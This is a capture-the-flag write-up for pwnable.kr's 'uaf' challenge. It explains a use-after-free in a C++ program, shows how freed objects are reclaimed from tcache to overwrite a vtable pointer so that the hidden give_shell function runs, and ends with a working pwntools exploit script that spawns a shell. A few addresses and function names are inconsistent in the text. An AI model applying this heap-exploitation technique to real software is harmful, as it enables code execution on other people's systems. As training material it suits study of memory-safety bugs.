uaf

uaf is the 16th challenge of Toddler's Bottle at pwnable.kr

Use-after-free

The first thing to do is to check the provided C++ source file.

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

The program declares two classes (Man/Woman) derived from a Human class, which both contain a function pointer to Human::introduce(), this pointer is likely to be target since overwriting it would allow calling arbitrary functions, such as Human::give_shell(). The binary gives the user 3 options:

  • use (calls Man/Woman introduce)

  • after (reads from a file and allocates the data on the heap)

  • free (deletes the Man (m) and Woman (w) objects)

The issue with this code is that the pointers to m and w still exist after the objects being delete.

The objects are stored in memory as above, when we call the "free" method, both the m/w chunks and the m->name/w->name chunks will fall into tcache lists of size 0x20 and 0x30, respectively.

The pointers to m and w remain even after both objects were deleted, which means, we can overwrite them with our arbitrary allocation from the "after" method. If we make an allocation of size 0x20 (0x18 bytes of data + 8 bytes of the chunk header) we would actually allocate at the deceased w object. Then, if we allocate the same again, we will now overwrite the m object. Therefore, we can control m->introduce() and w->introduce(), so we could overwrite those with Human::giveshell() instead of Human::introduce() and then call the "use" method.

Notice that the m->introduce() and w->introduce() are 8 bytes shifted to the left. Also, notice that both pointers aren't just pointer to the function but actually pointers to Human::introduce(), which is the actual function pointer. So what we need to do is to allocate a pointer the Human::get_shell() pointer left shifted by 8.

Inspecting the Human class in IDA, we can find the pointer to Human::giveshell() at 0x401590, so we just need to write 0x4015090-8 to m->introduce(), since it's called before w->introduce() which would cause a segfault if we only overwrote w instead of m. Also, w was deleted last, which means it's first on tcache, so we need to allocate twice so we can overwrite m->introduce().

Finally, notice that to allocate at 0x20's tcache we need to allocate 24 bytes, so our args would be ./uaf 24 <name of the payload file>.

Final exploit

#!/usr/bin/env python2
from pwn import *
from os import remove

# Definitions
e = context.binary = ELF('./uaf',checksec=False)

def use():
    io.recvrepeat(0.1)
    io.sendline('1')

def after():
    io.recvrepeat(0.1)
    io.sendline('2')

def free():
    io.recvrepeat(0.1)
    io.sendline('3')

# Exploit
in_file = open('/tmp/exploit','w+')
in_file.write(p64(0x401590-8))
in_file.close()
io = process([e.path,str(24),'/tmp/exploit'])

def pwn():
    free()
    after()
    after()
    use()

pwn()
io.interactive()
remove('/tmp/exploit')

Last updated